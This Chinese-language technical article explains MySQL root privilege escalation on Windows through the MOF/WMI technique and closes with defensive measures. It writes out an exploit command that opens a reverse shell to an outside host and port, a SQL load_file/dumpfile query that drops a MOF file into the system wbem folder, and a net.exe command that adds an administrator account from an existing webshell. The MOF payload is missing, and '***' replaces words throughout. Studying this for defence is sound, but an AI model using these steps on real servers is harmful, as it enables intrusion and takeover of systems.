技术干货:MySQL数据库Root权限MOF *** 提权研究
【51CTO.com原创稿件】MySQL Root权限MOF *** 提权来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/)mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种 *** 编译到 WMI 存储仓库托管对象格式 (MOF) 文件:
*** 1:操作 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
*** 2:使用 IMofCompiler 接口和 $ CompileFile *** 。
*** 3:拖到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到仓库编译 MOF 文件使用前两种 *** 。即操作 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile *** 。第三种 *** 只是向后兼容性和早期版本的 WMI 提供,因为该功能可能不会在未来版本后提供。注意使用MOF *** 提权的前提是当前Root帐户可以将文件复制到%SystemRoot%\System32\Wbem\MOF否则会在目录下失败!
001分析漏洞利用 ***
使用该漏洞的前提是必须具备mysql的root权限,在Kingcope公布的0day其中公布了一个pl利用脚本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100为mysql服务器位于数据库中,mysql密码为空,反弹到192.168.2.150的5555端口上。
1.生成nullevt.mof文件
保存以下代码nullevt.mof文件:
2.通过Mysql查询导入文件
执行以下查询语句,生成上述语句nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7默认情况下拒绝访问。系统将自动运行并执行命令。
002实战利用
1.实验环境
实验环境为Windows2003 Apache PHP,已经拥有Webshell权限。
2.将文件上传到可写目录
将nullevt.mof例如,将文件上传到服务器可写目录中C:\RECYCLER\,如图5-4所示。
上传文件nullevt.mof
3.执行命令
配置中国菜刀,然后通过数据库管理执行查询命令。在执行查询命令之前,您需要选择数据库,然后将以下代码复制到查询句输入框中,如图所示5-5所示。
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
执行查询命令
4.检查执行结果
执行后,需要修改添加用户命令,将用户添加到管理员组,即“net.exe localgroup administrators admin/add\”,再次上传查询,如图所示5-6所示,通过net user查看,果然admin已添加到系统中。
成功添加用户
003防范 ***
Mysql Root权限MOF *** 提权的前提是可以上传nullevt.mof复制到系统目录下,例如c:\windows\system32\wbem\mof中间,如果不能复制,提权将失败。一般来说,对Windows2003以下操作系统效果较好,Windows2008由于上述保护机制,成功较少。因此,可以采用预防以下措施:
1.尽量不要在程序数据库连接文件中使用Root连接帐号。
2.Root帐户采用强加密法,使用字母大小写 数字 特殊字符,密码位数超过15位。
3.对Mysql数据库的mysql严格限制数据库目录权限,IIS用户不能读写文件。
4. 操作系统目录c:\windows\system32\wbem禁止写入。
【51CTO原稿,合作网站转载请注明原作者和来源51CTO.com】
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。